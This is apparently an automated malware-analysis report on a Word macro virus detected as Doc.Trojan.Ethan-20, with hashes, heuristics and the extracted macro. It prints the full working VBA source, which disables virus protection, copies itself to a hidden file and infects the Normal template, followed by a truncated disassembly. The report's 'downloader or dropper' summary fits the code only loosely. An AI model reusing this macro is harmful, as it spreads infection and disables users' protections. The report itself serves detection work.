Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de131b5d6aa3411f…

MALICIOUS

Office (OLE)

37.0 KB Created: 2001-08-02 08:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b810c99dbd254cbf0d1a31d63b504a62 SHA-1: 037951660baedd229b50c0a1da72c497b19f9448 SHA-256: de131b5d6aa3411fbb6854b5a18c9a45047643b54a45eff668e274a81493b321
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The VBA macro within the document is designed to write its own code to 'c:\windows\bandv.dll' and then execute it. This indicates a downloader or dropper functionality. The ClamAV detection 'Doc.Trojan.Ethan-20' further supports the malicious nature of the file. The macro also attempts to disable virus protection and confirm conversions, common tactics for malware.

Heuristics 3

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 37,888 bytes but its declared streams total only 18,496 bytes — 19,392 bytes (51%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6728 bytes
SHA-256: 87a765f34ed192a13314bd26537aac284ed4fe850eb7e1d82f2856c48b8756ad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
j = 1
w = 1
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\winwows\bandv.dll", 6) = "" Then
Open "c:\windows\bandv.dll" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(w).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(w).CodeModule.Lines(i, j)
Print #1, a
Next i
Close #1
SetAttr "c:\windows\bandv.dll", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(w).CodeModule.Lines(j, j) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(w)
ElseIf ActiveDocument.VBProject.VBComponents.Item(w).CodeModule.Lines(j, j) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(w)
Else
t = ""
End If
If t <> "" Then
Open "c:\windows\bandv.dll" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Bandv Frome": .Author = "\ZB&BV": .Keywords = "Bandv": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
 Selection.WholeStory
 Selection.Font.ColorIndex = wdRed
 Selection.MoveDown Unit:=wdLine, Count:=1
 ActiveDocument.Save
End Sub

' Processing file: /opt/analyzer/scan_staging/1ceb305b0add4a3187152b8db6c72cb1.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3595 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0001 
' 	St j 
' Line #3:
' 	LitDI2 0x0001 
' 	St w 
' Line #4:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #5:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #6:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #7:
' 	ArgsCall Read 0x0000 
' Line #8:
' 	LitStr 0x0014 "c:\winwows\bandv.dll"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #9:
' 	LitStr 0x0014 "c:\windows\bandv.dll"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld w 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #11:
' 	Ld i 
' 	Ld j 
' 	Ld w 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #12:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #14:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #15:
' 	LitStr 0x0014 "c:\windows\bandv.dll"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #18:
' 	Ld j 
' 	Ld j 
' 	Ld w 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Priv
... (truncated)